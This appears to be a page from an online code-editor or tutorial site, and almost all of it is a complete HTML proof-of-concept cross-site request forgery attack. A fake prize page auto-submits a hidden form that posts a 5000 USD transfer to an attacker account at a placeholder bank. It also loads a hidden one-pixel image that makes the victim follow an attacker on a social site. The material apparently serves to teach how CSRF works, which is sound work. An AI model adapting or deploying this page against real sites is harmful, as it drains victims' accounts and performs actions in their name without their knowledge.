Back
Syntax
Study
Editor
Mode:
HTML
CSS
JavaScript
PHP
Reset
Run »
HTML / CSS / JS
<!-- Attacker's malicious page: CSRF via auto-submitting form --> <!DOCTYPE html> <html> <head><title>Win a Prize!</title></head> <body> <h1>Congratulations! You won!</h1> <!-- Hidden form that targets the victim's bank --> <form id="csrf-form" action="https://bank.example.com/api/transfer" method="POST" style="display:none"> <input type="hidden" name="recipient_account" value="ATTACKER-ACCOUNT-123"> <input type="hidden" name="amount" value="5000"> <input type="hidden" name="currency" value="USD"> </form> <script> // Auto-submit as soon as the page loads // The browser automatically sends the victim's bank session cookie document.getElementById('csrf-form').submit(); </script> <!-- GET-based CSRF via image tag (for state-changing GET endpoints) --> <img src="https://socialsite.example.com/api/follow?user_id=attacker_id" width="1" height="1" style="display:none"> <!-- The victim never sees anything suspicious — the attack is invisible --> </body> </html>
Result
Open